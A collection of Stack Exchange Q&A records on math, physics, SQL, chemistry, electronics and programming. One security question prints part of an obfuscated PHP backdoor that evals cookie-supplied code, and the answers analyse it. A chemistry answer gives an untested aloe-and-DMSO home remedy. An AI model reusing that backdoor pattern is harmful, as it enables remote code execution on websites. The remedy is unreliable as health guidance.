The problem is now that $\mathbb C[G/U^-]$ is very co... | It's slightly nicer to look at $M_n // U_-$ instead of $GL(n) // U_-$, since then we're looking at a subring of invariants inside a polynomial ring. Namely,
the subring generated by all determinants that use any $k$ rows and the left $k$ columns (for all $k=1,\ldots,n$); there are $2^n-1$ choices of row set.
These Plü... | https://mathoverflow.net |
143,516 | [
"https://physics.stackexchange.com/questions/143516",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/59268/"
] | Someone asked me this question and I am going to try to ask it as 'proper' as possible. Imagine there is a door and it needs a mass on the floor at the edge of the door to keep it from swinging shut. If I put one mass, it swings shut. However if I add another mass it stops the door from swinging shut. Why is that? I... | The force by static friction that the ground does on the mass to prevent it from moving depends on the reaction force, which means more mass create greater opposition to movement. The force that the mass may apply on the door to prevent it from moving is limited by the previous one.
If you have a constant torque being... | The question is not detailed enough, so I am going to make some assumptions:
1)the door is vertical and on hinges;
2)there is some force (wind?) pushing on the surface of the door, creating a torque that tends to close the door;
3)a small mass is placed on the floor to try to prevent the door from closing,
but it ... | https://physics.stackexchange.com |
633,909 | [
"https://physics.stackexchange.com/questions/633909",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/297867/"
] | My teachers (also the internet) tells me that Kelvin can never be negative. But when I converted <span class="math-container">$-275^\circ$</span>C to Kelvin, it becomes <span class="math-container">$-1.85\,\rm K$</span>. So, why everyone says that Kelvin can never be negative?
| You've converted correctly, but the problem is that -275°C is colder than absolute zero, -273.15°C. Temperatures colder than this are not possible.
The conversion formula is just a maths formula, if you plug in a number it will spit out another number. The formula doesn't check that what you've entered is possible.
| <ul>
<li>They tell you correctly that a Kelvin value can't be negative, <span class="math-container">$T>0 \,\mathrm K$</span>.
</li>
<li>Also, they should have told you that a degrees Celsius value can't be below <span class="math-container">$T>-273.15 \,^\circ\mathrm C$</span>.
</li>
</ul>
Sure, you can make up ... | https://physics.stackexchange.com |
219,015 | [
"https://dba.stackexchange.com/questions/219015",
"https://dba.stackexchange.com",
"https://dba.stackexchange.com/users/76098/"
] | <strong>Disclaimer:</strong> While the basis of my question—the <em>greatest-n-per-group</em> question—has been asked and also answered so many times before, I am facing a seemingly hard issue due to extra conditions that I have to apply.
In case I really missed the answer to my exact question that was given somewhere... | I think that is exactly the same case of the <code>max-per-group</code> but with some extended conditions and can be solved by single subquery:
<pre><code>SELECT IF( b.id IS NULL, NULL, a.id ) AS id -- an opposite to COALESCE()
, a.cmid
, a.userid
, b.maxts -- can be NULL
FROM table AS a
LEFT JOI... | Try that:
<pre><code>select user_id, max(timecreated) from mdl_datasets
where cmid=yourmoduleid and timecreated < yourtime
group by user_id ;
</code></pre>
Max will return the very last row before "yourtime", for each user.
This works for postgresql, but i am not very sure for mysql, because group by of mysq... | https://dba.stackexchange.com |
49,993 | [
"https://dba.stackexchange.com/questions/49993",
"https://dba.stackexchange.com",
"https://dba.stackexchange.com/users/-1/"
] | Is there a good way to Alter a table (add a column) for multiple databases (think like 50 or so). Or is it pretty much manual for all of them?
the Tables are all the same and the column added will be the same as well.
Thanks!
| Here's the technique I frequently use to do things like this with dynamic SQL. This also has applications beyond just "looping" across databases, too.
Now, you didn't say <em>which</em> 50 databases, so I just went with everything in the instance, as that's a pretty common thing to do:
<pre><code>DECLARE @sql nvarcha... | The lazy way: Use sp_MSForEachDB.
The safer way: Use a cursor and dynamic SQL.
<pre><code>DECLARE @db sysname
DECLARE @sql nvarchar(max)
--Modify this query to specify which databases you want.
DECLARE db CURSOR FOR
SELECT name FROM master.sys.databases
OPEN db
FETCH NEXT FROM db INTO @db
WHILE @@FETCH_STATUS = 0
... | https://dba.stackexchange.com |
7,649 | [
"https://chemistry.stackexchange.com/questions/7649",
"https://chemistry.stackexchange.com",
"https://chemistry.stackexchange.com/users/4101/"
] | $\ce{Heat\ +\ PCl5(g)\ \rightleftharpoons\ PCl3(g)\ +\ Cl2(g)}$
According to the process above, which of the following can be done to increase the number of moles of $\ce{Cl2}$ in a sealed container at equilibrium?
<ol>
<li>Reducing temp</li>
<li>Increasing the pressure at a constant temp</li>
<li>Adding more moles o... | <strong>Hint:</strong>
For 2. Try to apply Le Chatelier's principle. Increasing pressure will make the system try to decrease it and there is one side of the equilibrium with an unequal number of moles.
| yest the answer 3. is correct. It will be even more effective to adding more $\ce{PCl5}$ and increasing temperature too.
| https://chemistry.stackexchange.com |
38,868 | [
"https://mathoverflow.net/questions/38868",
"https://mathoverflow.net",
"https://mathoverflow.net/users/-1/"
] | Question : Does there exist a surjective function $F$ that maps $\mathbb{R}^n_+$ to $\mathbb{R}^n$ (where $\mathbb{R}^n_+$ denotes the set of vectors of length $n$ with only positive entries). The answer is yes by considering the function $F$:
$$(x_1,\ldots,x_n)\to(\log x_1,\ldots,\log x_n)$$
It is easy to see that $F... | <h2>Complete Version</h2>
This is motivated by the complex cubing map described below, which generalizes to the cubing map on quaternions:
For $n > 1$, the map analogous to cubing a complex number or a quaternion is
f_3: $ (x_1, x_2, \dots, x_n) \rightarrow
(x_1^3 -3 x_1( x_2^2 + x_3^2 + \dots + x_n^2),
-x_2^3 ... | For n = 1, it is well-known and obvious that a polynomial $P(x)$ approaches either $+ \infty$ or else $-\infty$ as $x \to \infty$, so in particular it has all its values in either the positive half-axis or else in the negative half-axis for say $x > M$. But then it cannot cover the whole other half-axis on the compa... | https://mathoverflow.net |
11,673 | [
"https://astronomy.stackexchange.com/questions/11673",
"https://astronomy.stackexchange.com",
"https://astronomy.stackexchange.com/users/4026/"
] | Black Holes are regions of space where things get weird <sup>[Citation Needed]</sup>. Past the event horizon of a black hole, any moving particle instantaneously experiences a gravitational acceleration towards the black hole that will cancel out it's current velocity, even light. That means that the gravity well of th... | I think your initial question is a good one, but the text gets a bit more jumbled and covers a few different points.
<blockquote>
Can things move faster than light inside the event horizon of a black
hole?
</blockquote>
Nice question.
<blockquote>
Black Holes are regions of space where things get weird.
</bloc... | The short answer to your top-level question "Can things move faster than light inside the event horizon of a black hole?" is no. The text of your question gets confusing and contains a lot of assumptions that are not correct. There's no "special" acceleration happening at or near the event horizon. If things <em>cou... | https://astronomy.stackexchange.com |
205,670 | [
"https://softwareengineering.stackexchange.com/questions/205670",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/74753/"
] | I'm new to using async calls in ajax. My problem is that I have two server "tasks": one that just checks if session is set (fast), and another that sets the session (slower). I want to check if the session is set and if not, set it. And I want to try X number of times (I'm unsure if I really need to but that, but that ... | Why not just use one call <code>setOrReturnSession</code>, which either returns the current session if it's already set, or creates a new session and returns that.
Yes it's marginally slower to send your session data across the wire on every call, but it's much much faster than running both calls synchronously almost ... | I think you must call your first ajax synchronously using declared <code>async = false;</code> in your ajax call.
It will call your asynchronous ajax function synchronously so that after getting response from the ajax it will execute next code.
| https://softwareengineering.stackexchange.com |
697,887 | [
"https://physics.stackexchange.com/questions/697887",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/164488/"
] | Are the electric and magnetic fields of an electromagnetic wave perpendicular to each other even in the near-field zone or in the intermediate zone (when the radiation zone approximation is not valid)?
The example given by ProfRob is nice but I would like to know whether E and B fields are always perpendicular for any ... | Do some degree, the answer depends on exactly how you define "electromagnetic wave" and "radiation source".
Jackson (Third Edition) works out the exact expressions for the <span class="math-container">${\bf E}$</span> and <span class="math-container">${\bf B}$</span> fields from a radiating source i... | I will assume you mean the fields generated by an oscillating electric dipole.
The E- and B-fields are
<span class="math-container">$$ {\bf E} = \frac{j}{2\pi \epsilon_0} kp_0 \cos\theta\left(1 - \frac{j}{kr}\right) \frac{e^{j(\omega t -kr)}}{r^2}\ {\bf \hat{r}} - \frac{k^2}{4\pi \epsilon_0} p_0 \sin \theta \left(1 - \... | https://physics.stackexchange.com |
438,517 | [
"https://softwareengineering.stackexchange.com/questions/438517",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/99868/"
] | In concept-based programming (as in <code>C++</code> concepts), I am wondering if there is a noun to say that:
<blockquote>
A type <code>T</code> is an <code>XXXX</code> of a concept <code>C</code>.
</blockquote>
in the same way we can say that:
<blockquote>
An object <code>x</code> is an instance of a type <code>T</co... | Encapsulating library functions makes most sense when your "own" interface <code>main</code> offers simplified access to the library, or at least provides a more precise or more readable name (assuming in the real code, the functions are not just called <code>main</code> and <code>X.foo</code>). This can spec... | Foo is a dependency. If you want to test it, import it and call the methods on it that are being used as part of your test suite. For example, if you are using Foo.X write some tests around the X method. These are probably redundant if the maintainers are following best practices. But I could see them being useful ... | https://softwareengineering.stackexchange.com |
73,307 | [
"https://mathoverflow.net/questions/73307",
"https://mathoverflow.net",
"https://mathoverflow.net/users/492/"
] | I have some hopefully elementary questions about rank 2 flat bundles on an elliptic curve $E$.
Take $p\in E$, and consider the exact sequence
$$0\to \mathcal{O}(-p) \to V \to \mathcal{O}(p)\to 0$$
so $V$ is a rank 2 holomorphic vector bundle on $E$ with deg$(E)=0$. RR says that $H^1(E;\mathcal{O}(-2p))$ is 2-dimen... | The extensions of this form that admit a flat holomorphic connection are precisely the non-split ones.
The work of Hitchin, Donaldson, Corlette, and Simpson from the late 1980's shows that a bundle admits a flat holomorphic connection if and only if it has a Higgs field, i.e. a section $\phi \in H^0(K \otimes \mbox{En... | Here is an answer which doesn't invoke non-Abelian Hodge theory.
In his paper <em>"Complex Analytic Connections in Fibre Bundles"</em> (Trans.AMS, v.85, 1957), Atiyah showed the following: Let $V$ be a holomorphic vector bundle on a (smooth, compact) curve, and let $V=\oplus_i V_i$ be the decomposition of $V$ into ind... | https://mathoverflow.net |
321,822 | [
"https://mathoverflow.net/questions/321822",
"https://mathoverflow.net",
"https://mathoverflow.net/users/113054/"
] | Let <span class="math-container">$E$</span> be a complex Hilbert space and <span class="math-container">$\mathcal{L}(E)$</span> be the algebra of all operators on <span class="math-container">$E$</span>.
<blockquote>
Let <span class="math-container">$A_1,\cdots,A_d$</span> be pairwise <strong>commuting</strong> oper... | No. 3 copies of Hilbert spaces <span class="math-container">$H_1,H_2,H_3$</span>. <span class="math-container">$A_1$</span> a partial isomtry copying <span class="math-container">$H_1$</span> to <span class="math-container">$H_2$</span>, and <span class="math-container">$A_2$</span> a partial isometry copying <span cla... | Alternative answer: Even No, if operators <span class="math-container">$A_i$</span> are hyponormal.
We modify above answeer:
Take copies of Hilbert spaces: <span class="math-container">$H_1,H_2,H_3,...$</span> and <span class="math-container">$K_2,K_3,K_4,...$</span>.
<span class="math-container">$A_1$</span> partial... | https://mathoverflow.net |
428,148 | [
"https://physics.stackexchange.com/questions/428148",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/40292/"
] | The electromagnetic field produces a gravitational field because the EM field tensor produces a stress energy which in turn produces a gravitational field via the Einstein field equations.
This would seem to imply that a particular arrangement of current and voltage could be used to generate an electromagnetic field c... | Assuming you are asking if a gravitational field can be switched on/off by flipping a switch in an electrical circuit, I think the answer is No.
The electromagnetic energy which you create must come from some other form of energy, which also gravitates. You are merely exchanging one source of gravity for another. At b... | Yes, just as you say, the EM field tensor produces a stress-energy, which is the source of gravitational effects.
A charged black hole does have a different gravitational field then a non-charged one.
Now you are asking whether this can be used for creating a gravitational field. Yes it is possible, but if you check ... | https://physics.stackexchange.com |
169,888 | [
"https://security.stackexchange.com/questions/169888",
"https://security.stackexchange.com",
"https://security.stackexchange.com/users/5261/"
] | I am currently working on a project for one of the organization and I have to install a new (server/client)software program.However, the software company would like to help and install for themselves to minimize any problems on our server.
According to the organization ICT rule, we couldn't give remote access to the o... | If your VM has access to the network and they can use it unsupervised then they of course have access to your network.
Also you really have to trust your VM-Product there.
What people do a lot (no judgement here) is isolating a machine using the Firewall/Packetfilter/Security-Gateway for "outsiders".
Anyways: If yo... | You need to manage through your VM's vNICs, make sure you don't use a bridge adapter but a NAT one and with single NIC remove all routes to the network but the actual default gateway.
That being said, usually similar ITCs also have a no port forwarding policies so i'm wondering how you will expose the machine to the o... | https://security.stackexchange.com |
138,791 | [
"https://mathoverflow.net/questions/138791",
"https://mathoverflow.net",
"https://mathoverflow.net/users/8103/"
] | In his paper <em>A finitely generated infinite simple group</em> (J. London Math. Soc., 1951), Higman introduced the following finitely presented group:
$$
H = \langle x,y,z,w \mid [x,y]=y, \, [y,z]=z, \, [z,w]=w, \, [w,x]=x \rangle .
$$
This group has many remarkable properties, including being acyclic.
Let $H_{x,y... | No, there are no such element. Indeed $H$ is amalgam of the subgroups $\langle x,y,z\rangle$ and $\langle z,w,x\rangle$ over the intersection $\langle x,z\rangle$, which is free (as we see by viewing $\langle x,y,z\rangle$ itself as amalgam of the Baumslag-Solitar $\langle x,y\rangle$ and $\langle y,z\rangle$ over $\la... | Below is a geometric argument based on the action of Higman's group on its natural CAT(0) square complex. (Of course, Yves' argument is more elementary, but I find this alternative viewpoint enjoyable.)
The key observation is that $H$ can be described as the fundamental group of a square of groups:
$$\begin{array}{ccc... | https://mathoverflow.net |
217,816 | [
"https://electronics.stackexchange.com/questions/217816",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/8961/"
] | I am working on a project which includes an ARM microcontroller. At runtime, I want to load code from an SD card into program flash and then execute that code. My question is, since ARM code seems to work with relative jumps, whether it matters where in memory I am putting the code. If I can just compile my code and re... | ARM really has nothing to do with this, many/most instruction sets have ways to use fixed addresses and relative addresses. Then it comes down to asking the tools to do it one way or the other or writing your code one way or the other.
ARM has plenty of different instructions for doing things, most definitely is we... | The ARM instruction set is fully relocatable, though it is possible to create code that isn't by referencing absolute addresses (eg. to relative positioned data). It is one of the major design features of the instruction set since the very first versions in the late 80's.
Another consideration is memory protection, th... | https://electronics.stackexchange.com |
407,268 | [
"https://physics.stackexchange.com/questions/407268",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/101134/"
] | In statistical mechanics we calculate volume element in momentum space as $4\pi p^2 dp$ to calculate microstate in phase space , but I don't understand why we write it in spherical polar coordinate ? Is it completely suitable to write it in spherical polar coordinate ?
I read somewhere that we can write it because m... | It's not a good idea to think of this in general terms, i.e. "in statistical mechanics, this is what we do". We do it when it's a <em>useful mathematical trick</em> to do it. That's it.
In your specific case, I suppose you're talking about a Hamiltonian that depends only on $|p|^2$, and not on $p$'s components, due to... | This is valid as long as whatever function we're integrating only depends on $p$ and not on its direction, by the same argument used when integrating functions that only depend on $r$ in spherical coordinates.
When calculating integrals over momentum we have something like
$$I = \int dp_x dp_y dp_z \, f(\mathbf{p})$$... | https://physics.stackexchange.com |
431,884 | [
"https://stats.stackexchange.com/questions/431884",
"https://stats.stackexchange.com",
"https://stats.stackexchange.com/users/53690/"
] | Suppose one estimates a linear model
<span class="math-container">$$
y=\beta_0+\beta_1 x+\varepsilon
$$</span>
and finds that <span class="math-container">$\hat\beta_1>0$</span> and the <span class="math-container">$p$</span>-value associated with <span class="math-container">$\hat\beta_1$</span> is lower than the ... | I don't think it is the same. If you say that <span class="math-container">$\hat \beta$</span> is statistically significant, that's a short way to say that it's significantly different from 0, and "different from 0" is not the same as "greater than 0", obviously.
If I read:
<blockquote>
<span class="math-container"... | There is not a difference in meaning though the first one sounds strange to me. I would go with the second option or would word it as:
<blockquote>
<span class="math-container">$\beta_1$</span> is statistically significantly greater than zero.
</blockquote>
because that is the most common wording I've personally s... | https://stats.stackexchange.com |
713 | [
"https://datascience.stackexchange.com/questions/713",
"https://datascience.stackexchange.com",
"https://datascience.stackexchange.com/users/1314/"
] | I have installed cloudera CDH5 Quick start VM on VM player. When I login through HUE in the first page I am the following error
“Potential misconfiguration detected. Fix and restart Hue.”<img src="https://i.stack.imgur.com/vnq5P.png" alt="Potential misconfiguration detected. Fix and restart Hue">
How to solve this is... | Go into the other link from home - to the cloudera manager.
From there, you'll see Hue can be restarted, but there is probably an alert that needs to be resolved in there first.
If I remember right there's some initial configuration that needs to be done on the quickstart VM that's spelled out as soon as you log into... | We faced this problem and analysed the issue.
Cloudera, Hue or Hive didn't have any error reported but the users via Beeswax were unable to run queries.
It was good to analyze below:
Duplicate PID for Hive (check for all hive servers. If you do have a tool to check the duplicate PID then use that or use the kinit to lo... | https://datascience.stackexchange.com |
266,306 | [
"https://security.stackexchange.com/questions/266306",
"https://security.stackexchange.com",
"https://security.stackexchange.com/users/281368/"
] | Whenever I create a remote repository on my web server there seems to be a file called <code>expect.php</code> or <code>options.php</code> with the following code in it:
<pre><code><?php
function visit_cookie() {
$h = $_COOKIE;
($h && isset($h[93])) ? (($ms = $h[93].$h[78]) &&
($qh = $m... | It <strike>almost certainly</strike> is malicious, and there are several risks introduced by the code provided.
<h3>Red Flags</h3>
The first and loudest sign of trouble here is going to be invocation of the <code>eval()</code> command. When the input is constructed from <code>$_COOKIE</code>—a superglobal which effecti... | With respect to AJAr, there's nothing "almost" about it.
It's looking for several specific bits in the <code>$_COOKIE</code> variable it gets from the calling browser, concatenates those in a deliberately obfuscated way, and then <code>@eval</code>s the result.
Someone installed a backdoor into your website t... | https://security.stackexchange.com |
1,423,352 | [
"https://math.stackexchange.com/questions/1423352",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/268248/"
] | It can be seen easy but i'm really stack.I don't know how to start.
<blockquote>
Let $A \neq \emptyset $ is a subset of $ \mathbb{R} $.If for every real $x$,$y$ sum $x+y$ belongs to $A$,then $xy$ also belongs to the set $A$.Then prove that $A= \mathbb{R} $
</blockquote>
$\mathbb{R}$- here is the set of real ... | First, since $A\ne \emptyset$, there exists a $y=0+y\in A$, so $0\times y=0\in A$.
Then, for all $y\in\mathbb R$, $0=y+(-y)\in A$, so $y\times(-y)=-y^2\in A$, i.e. all negative real numbers are in $A$.
Finally, for all $y\in\mathbb R_{<0}$, $y=(y/2)+(y/2)\in A$, so $(y/2)(y/2)=y^2/4\in A$, i.e. all positive re... | Let $a\in A$ be an element. Then to show that $x\in\mathbb{R}$ is in $A$ (for $x$ arbitrary) amounts to solving the system
$$\cases{y+z = a, &\\yz = x.}$$
Can you take it from here?
| https://math.stackexchange.com |
40,797 | [
"https://dba.stackexchange.com/questions/40797",
"https://dba.stackexchange.com",
"https://dba.stackexchange.com/users/21862/"
] | I am using SSMS. I have about 5 logins. For a particular login I have all server roles other than sysadmin. It is a sql login (not windows authentication). In user roles it has all permission for almost all databases. For some database it has only datareader.
Now when I try to take backup of database using SSMS and whe... | Here is answer for my own question
SSMS uses "xp_fixeddrives" to list the drives in PC. Same is used by SSMS when clicking on button which is used to select backup path or browse directory.
The error is generated because "exec xp_fixeddrives" doesn't return any records when executed by a non-sysadmin account.When you ... | This is not a SQL Login permission issue. Rather that SQL Server Service Account can't access the location for the backup. To fix this you need to grant access in windows to that path to the account that the SQL Server Service executes under.
| https://dba.stackexchange.com |
132,943 | [
"https://mathoverflow.net/questions/132943",
"https://mathoverflow.net",
"https://mathoverflow.net/users/8381/"
] | Suppose we have a set $M = (0,1) \subset R$ of reals well-ordered as the first uncountable ordinal.
Let $M(a) = \lbrace x \in M : x < a \rbrace$. For every $a \in M$ set $M(a)$ is countable. That's why every increasing sequence is bounded:<br>
$$(*) ~~~~~~~~~~ \forall \lbrace a_1,...,a_n,...\rbrace \subset M ~~\e... | I think the paradox can be solved by the observation that $c$ is defined a posteriori, so it is not true that you avoid $c$ during all the process, since $c$ is in fact an outcome of the process.
You could do a similar paradox without bothering with well-orderings: pick a sequence $X=\{a_1,a_2,\dots\}$ in $(0,1)$ by c... | I agree with DK that the "paradox" has nothing to do with the assumed well-ordering. I think it also has nothing to do with the decision to choose a countable sequence of elements $a_n$. Suppose we just pick a single $a$, at random, with respect to Lebesgue measure. Since the one-element set $\{a\}$ has measure zer... | https://mathoverflow.net |
707,974 | [
"https://physics.stackexchange.com/questions/707974",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/247238/"
] | The problem reads:
<blockquote>
Consider the infinitesimal form of the Lorentz transformation derived in the previous question: <span class="math-container">$x^\mu \rightarrow x^\mu +\omega^{\mu}_\nu x^\nu$</span>. Show that the scalar field transforms as <span class="math-container">$$\phi(x)\rightarrow \phi'(x)=\phi(... | You're completely correct to say in the reference frame of the electrons, the charge density of positive ions increases by a factor of <span class="math-container">$\gamma$</span>. However if we're in the middle of the wire, there'll be a roughly equal amount of charge either side of the electrons, so no net force ove... | <blockquote>
Wouldn't this net positive charge attract the electrons moving through the wire?
</blockquote>
According to the electrons, yes.
According to the ions, no.
<blockquote>
Also, isn't this what a magnetic field due to moving charges is? (electric field from a different frame of reference). Or is that different... | https://physics.stackexchange.com |
291,999 | [
"https://softwareengineering.stackexchange.com/questions/291999",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/189989/"
] | I have decided to learn Perl as my next language and I am currently reading about the scalar and list contexts, although this question is not specifically Perl-related, I will just put it in a Perl context (hah, get it?!)
So, the basic idea is that operators expect either a scalar or a list value, and if they get an a... | Larry designed Perl to DWIM (Do What I Mean). If you're using an array in scalar context, meaning that you are using the array in a context where there is exactly one value that represents it, that one value you most likely want is its length. Thus, when you do that, that's what you get. If the situation were different... | <code>$#array</code> is (well, historically was - this variable has been deprecated in 5.12.0) impacted by the value of the <code>$[</code> (see also <code>$ARRAY_BASE</code> in the <code>perldoc perlvar</code> documentation) and can cause the straightforward use of <code>$#array + 1</code> to give invalid or unexpecte... | https://softwareengineering.stackexchange.com |
849,025 | [
"https://math.stackexchange.com/questions/849025",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/157433/"
] | Say I have 100 people each with a height, weight, and age. I make a regression that predicts age based on height and weight. Now, I would like to update that model when I meet someone new. I don't want to just re-process 101 people though--I want to take the model that I already have and incorporate the new person into... | Let us suppose that you fit a model $Z = a +b X+cY$ based on $N$ data points $(X_i,Y_i,Z_i)$. The so-called normal equations are $$\sum _{i=1}^N Z_i= N a + b\sum _{i=1}^N X_i+ c\sum _{i=1}^N Y_i$$ $$\sum _{i=1}^N X_iZ_i= a\sum _{i=1}^N X_i + b\sum _{i=1}^N X_i^2+ c\sum _{i=1}^N X_iY_i$$ $$\sum _{i=1}^N Y_iZ_i= a\sum ... | Here I am thinking I should remember something about this, or maybe I shouldn't. We have a matrix "equation":
$$
\begin{bmatrix} 1 & h_1 & w_1 \\ \vdots & \vdots & \vdots \\ 1 & h_n & w_n \end{bmatrix} \begin{bmatrix} 7 \\ 0.08 \\ 0.06 \end{bmatrix} \overset{\text{?}} = \begin{bmatrix} a_1 \\ \... | https://math.stackexchange.com |
35,213 | [
"https://ai.stackexchange.com/questions/35213",
"https://ai.stackexchange.com",
"https://ai.stackexchange.com/users/54080/"
] | I am currently trying to practice reinforcement learning for an agent on a grid. The grid is deterministic. Since the grid is deterministic, to calculate the value for each grid square from the reward and next state, we could simply apply the following Bellman equation:
<span class="math-container">$$V(s)=\max_a(R(s,a)... | I come up with multiple advantages for siamese against a single neural network for similarity measuring:
<strong>Training Phase.</strong> If using a single network to replace Siamese, it might be required a double number of parameters (weights) for learning. Hence, training the network will likely converge slower and t... | In addition to @Omg's answer note that Siamese networks are typically used in situations where applying <code>(A,B)</code> to the inputs must generate the same output as applying <code>(B,A)</code> (i.e. the similarity measure of <code>A</code> to <code>B</code> is the same as the similarity of <code>B</code> to <code>... | https://ai.stackexchange.com |
7,612 | [
"https://mechanics.stackexchange.com/questions/7612",
"https://mechanics.stackexchange.com",
"https://mechanics.stackexchange.com/users/3967/"
] | My 2013 Honda Fit has been for the past few weeks or so invariably showing me the cold engine light (a blue thermometer with the letter C) when I start it up before or after work (or most other times). I looked in the manual to see what exactly this means, but all it says is something like "the engine is cold" without ... | Engines run safely and effectively in a temperature range which is actually fairly narrow. The temperature gauge (or cold and hot indicator lights) typically measure the temperature of the engine coolant itself.
When the car is first started, the engine is cold, and oil will need time to heat up and achieve good flow ... | Checking several Fit forums it means the engine is cold. What this means for you is that the engine has not reached operating temperature so drive it responsibly, no jack rabbit starts, no high revs, no high loads etc. I would assume the light would stay on in event of a defective thermostat or stuck fan relay, essenti... | https://mechanics.stackexchange.com |
149,355 | [
"https://electronics.stackexchange.com/questions/149355",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/36570/"
] | I'm trying to power on specific pieces of circuitry in sequence, and have one piece active at a time. I thought a decade counter would be the way to go but most people seem to think a decade counter is a binary counter. I'm trying to do this:
<img src="https://dl.dropboxusercontent.com/s/abkrerpqvlondnn/2015-01-15_1... | Your logic is, in principle headed roughly in the right direction, but there are a few problems. In the first place the 2-input OR gate is redundant, since the right-most FF ouput will force the NOR output low. More importantly, you show no means to reset the outputs to the correct starting state.
Generally the useful... | Use a microcontroller. Something like a PIC10F or 12F would be ideal. For sequencing three signals you can get away with a single 8-pin DIP IC (and a decoupling cap). I'm happy to expand if you're willing to consider going down this path.
For anyone that wants to point out that there are SOT23-6 PIC's available, ye... | https://electronics.stackexchange.com |
42,623 | [
"https://electronics.stackexchange.com/questions/42623",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/13714/"
] | Every once in a while, my eighth-inch audio jack will slip loose and I'll seemingly lose only the voice part of a track -- leaving somewhat of a "karaoke" version. What I would guess about how audio plugs work suggests that I'd be making this up; however, I've asked and others tell me they've experienced this as well.
... | When the plug starts to slip out of the jack, very often it's the ground contact (sleeve) that breaks its connection first, leaving the two "hot" leads (left and right, tip and ring) still connected.
With the ground open like this, both earpieces still get a signal, but now it's the "difference" signal between the lef... | The vocal track, particularly if it is just one singer, is usually found in the centre. This means it is mixed equally into left and right.
If you produce a difference signal, L-R or R-L, then this common mode material (anything mixed in equal proportions to left and right) will be attenuated.
Such a situation can ha... | https://electronics.stackexchange.com |
794,196 | [
"https://math.stackexchange.com/questions/794196",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/83045/"
] | I just learnt about Reduced Row Echelon Form and solved few rather large matrices. However I have no idea how to approach this rather simple system:
$$x+2y=0\\
3x+6y=0$$
Here is my 2x2 augmented matrix:
$$ A = \left[
\begin{array}{cc|c}
1&2&0\\
3&6&0
\end{array}
\right]... | First thing: you do not have infinite answers: this means $x=\infty$, $y=\infty$ which is nonsense. What you have is <strong>an infinite number of answers</strong>: it is the number of answers that is infinite, not the answers themselves. (Analogy: "I have a large number of friends on Facebook" is not the same as "I ... | It is correct that you have an infinite number of solutions. The reason for this is because the equations are multiples of each other. E2 = 3E1
$$3(x+2y=0)$$
$$3x+6y=0$$
This is true for all systems of equations that are multiples of each other.
For example:
$$2x+4y=8$$
$$6x+12y=24$$
will also have an infinite num... | https://math.stackexchange.com |
4,515 | [
"https://chemistry.stackexchange.com/questions/4515",
"https://chemistry.stackexchange.com",
"https://chemistry.stackexchange.com/users/1428/"
] | I suppose this question can be extrapolated to food in general, but it is the case that I would like to know if there are any methods that would help me to keep the aloe gel fresh, i.e. avoiding it to rot.
I mostly squeeze the gel and pour it into a small jar. So far I have tried the following methods, being some of ... | I suffer from chronic back pain and have tried just about everything on the market.Now I grow and harvest my own Aloe Vera gel,
put the gel in a 50ml roll-on bottle 1/2 full with gel, a 1/2 tsp vitamin C powder
and 10 drops vitamin E oil then add 98.9% DMSO by syringe
10ml at a time till the strength is good enough for... | High concentrations of ethanol might work well if you just want to put it on skin. Ethanol should be safe, it's the main ingredient in those hand sanitizers.
| https://chemistry.stackexchange.com |
2,622,303 | [
"https://math.stackexchange.com/questions/2622303",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/299896/"
] | We have the function
$$f(x,y)=\det(A^2+B^2-xAB-yBA)$$
where $x, y$ are real numbers and $A, B$ are $2 \times 2$ matrices with real coefficients.
What are the coefficients of $f(x,y)$ in polynomial form?
| $f(x,y)=\det(A^2+B^2)-Trace(ABadj(A^2+B^2))x-Trace(BAadj(A^2+B^2))y$
$+(\det(AB+BA)-2\det(AB))xy+\det(AB)(x^2+y^2).$
| Let $C(x,y)=A^2+B^2-xAB-yBA$. Then $f(x,y)=\det(C(x,y))$ is a polynomial in $x$ and $y$, and the coeffcients of $A$ and $B$, considered as constants, because the determinant of a matrix is a polynomial in its entries. For example, if $A=B=I$, then $C(x,y)=2I-xI-yI=(2-x-y)I$, so that $\det(C(x,y))=(2-x-y)^n$, where $n$ ... | https://math.stackexchange.com |
525,091 | [
"https://physics.stackexchange.com/questions/525091",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/223749/"
] | When a body is moved from <span class="math-container">$r=∞$</span> to say, <span class="math-container">$r=R$</span>, work done by the gravitational force is <span class="math-container">$-(GMm)/R$</span>.
Why is it negative even though the Force and the displacement of the body is in the same direction. I understand... | The reason here is a calculation error. The formula for work done is
<span class="math-container">$$W_\gamma = \int_\gamma \mathbf{F} \cdot d\mathbf{r}$$</span>
in moving along the path <span class="math-container">$\gamma$</span> under the influence of the force <span class="math-container">$\mathbf{F}$</span>, here... | The reason is that the work done by a conservative force is <span class="math-container">$$W = -\Delta U$$</span> and since <span class="math-container">$W \gt 0$</span> therefore <span class="math-container">$\Delta U \lt 0$</span>. Also <span class="math-container">$\Delta U = U_f-U_i$</span>
| https://physics.stackexchange.com |
244,433 | [
"https://softwareengineering.stackexchange.com/questions/244433",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/136064/"
] | This isn't a serious problem or anything someone has asked me to do, just a seemingly simple thing that I came up with as a mental exercise but has stumped me and which I feel that I should know the answer to already. There may be a duplicate but I didn't manage to find one.
Suppose that someone asked you to write a p... | The following solution avoids repetition and separates the concerns of getting the input and validating it:
<pre><code>do
{
print "Enter number"
number = getInput()
} while(!numberValid(number))
bool numberValid(number) {
if (number == 0) {
return true
} else {
print "Error!"
return false
}
}
<... | In Ruby I would consider this to be a guard clause and I would write it as either:
<pre><code>do_something if condition
</code></pre>
or
<pre><code>do_something unless condition
</code></pre>
